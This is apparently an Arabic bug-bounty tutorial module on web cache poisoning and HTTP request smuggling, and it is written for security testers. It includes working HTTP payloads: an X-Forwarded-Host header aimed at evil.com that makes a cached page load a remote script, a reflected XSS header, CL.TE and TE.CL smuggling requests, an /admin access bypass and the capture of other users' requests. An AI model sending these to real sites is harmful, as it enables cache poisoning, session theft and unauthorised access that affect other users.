تقنيات الاستغلال المتقدمة
تسميم ذاكرة الويب المؤقتة وتهريب الطلبات
3 دقيقة للقراءة
هذه التقنيات المتقدمة تستغل طبقات البنية التحتية بين العملاء والخوادم. معقدة لكنها تعطي مكافآت من الدرجة الأولى.
تسميم ذاكرة الويب المؤقتة
خداع الذاكرة المؤقتة لتخزين استجابات خبيثة:
1. المهاجم يرسل: طلب برأس مسموم
2. الخادم يستجيب: بناءً على الإدخال المسموم
3. الذاكرة المؤقتة تخزن: الاستجابة الخبيثة
4. الضحية يطلب: نفس URL
5. الذاكرة المؤقتة تقدم: الاستجابة المسمومة للضحية
مفاتيح الذاكرة المؤقتة مقابل المدخلات غير المفتاحية
مفتاح الذاكرة المؤقتة (ما يحدد المحتوى المخزن):
- مسار URL
- معاملات الاستعلام
- رأس Host
المدخلات غير المفتاحية (تتجاهلها الذاكرة، يعالجها التطبيق):
- X-Forwarded-Host
- X-Original-URL
- X-Forwarded-Scheme
تسميم الذاكرة المؤقتة الأساسي
# اختبر الرؤوس غير المفتاحية
GET / HTTP/1.1
Host: example.com
X-Forwarded-Host: evil.com
# إذا احتوت الاستجابة: <script src="//evil.com/app.js">
# والاستجابة مخزنة → جميع الزوار يحصلون على صفحة مسمومة
إيجاد الرؤوس غير المفتاحية
# رؤوس للاختبار
X-Forwarded-Host
X-Forwarded-Scheme
X-Original-URL
X-Rewrite-URL
X-Forwarded-For
X-Host
X-Forwarded-Server
# استخدم Param Miner (إضافة Burp)
# يكتشف المعاملات غير المفتاحية تلقائياً
تسميم الذاكرة المؤقتة إلى XSS
# السيناريو: X-Forwarded-Host منعكس في الصفحة
GET /page HTTP/1.1
Host: example.com
X-Forwarded-Host: "><script>alert(1)</script>
# إذا خُزن، XSS يؤثر على جميع المستخدمين
تسميم الذاكرة المؤقتة المستهدف
# سمم ذاكرة مستخدم محدد (عبر رأس Vary)
# إذا Vary: User-Agent
# سمم الذاكرة لسلسلة User-Agent محددة
# أرسل رابط تصيد مع ذلك User-Agent
تهريب طلبات HTTP
استغلال التناقضات في كيفية تفسير الواجهة الأمامية والخلفية للطلبات.
لماذا يعمل
العميل → الواجهة الأمامية (CDN/WAF/موازن الحمل) → خادم الواجهة الخلفية
الواجهة الأمامية تستخدم: Content-Length
الواجهة الخلفية تستخدم: Transfer-Encoding: chunked
حدود الطلبات تُفسر بشكل مختلف!
تهريب CL.TE
الواجهة الأمامية: Content-Length الواجهة الخلفية: Transfer-Encoding
POST / HTTP/1.1
Host: example.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
تهريب TE.CL
الواجهة الأمامية: Transfer-Encoding الواجهة الخلفية: Content-Length
POST / HTTP/1.1
Host: example.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
الكشف
# الكشف القائم على الوقت
# إذا الواجهة الخلفية تنتظر المزيد من البيانات → ضعيفة
# كشف CL.TE
POST / HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Content-Length: 4
1
Z
Q
# إذا انتهت المهلة → CL.TE ممكن
سيناريوهات الاستغلال
تجاوز ضوابط الوصول
# هرب طلب لنقطة نهاية مقيدة
POST / HTTP/1.1
Host: example.com
Content-Length: 100
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
سرقة طلبات المستخدم
# بادئة طلب المستخدم التالي ببيانات المهاجم
POST / HTTP/1.1
Content-Length: 200
Transfer-Encoding: chunked
0
POST /comment HTTP/1.1
Content-Length: 500
comment=
# طلب المستخدم التالي يُلحق كجسم التعليق!
تسميم الذاكرة المؤقتة عبر التهريب
# هرب طلب يُخزن
POST / HTTP/1.1
Content-Length: 100
Transfer-Encoding: chunked
0
GET /static/app.js HTTP/1.1
Host: example.com
X-Forwarded-Host: evil.com
الأدوات
# smuggler - الكشف الآلي
python3 smuggler.py -u https://example.com
# Burp Suite - إضافة HTTP Request Smuggler
# يكشف ويولد حمولات التهريب تلقائياً
أمثلة المكافآت
| الشركة | التقنية | المكافأة |
|---|---|---|
| PayPal | تسميم الذاكرة المؤقتة | 15,000 دولار |
| Cloudflare | تهريب الطلبات | 20,000 دولار |
| Uber | تسميم الذاكرة XSS | 8,000 دولار |
| DoD | تجاوز التهريب | 10,000 دولار |
نصائح الاختبار
- تسميم الذاكرة المؤقتة: اختبر جميع الرؤوس، استخدم Param Miner
- تهريب الطلبات: الكشف القائم على الوقت أولاً
- اختبر بأمان دائماً: هذه الثغرات تؤثر على مستخدمين آخرين
- وثق بدقة: الثغرات المعقدة تحتاج PoC واضح
نصيحة احترافية: هذه تخصصات James Kettle (albinowax). اقرأ بحثه للتقنيات المتطورة.
الوحدة التالية: اختبار أمان API والهاتف. :::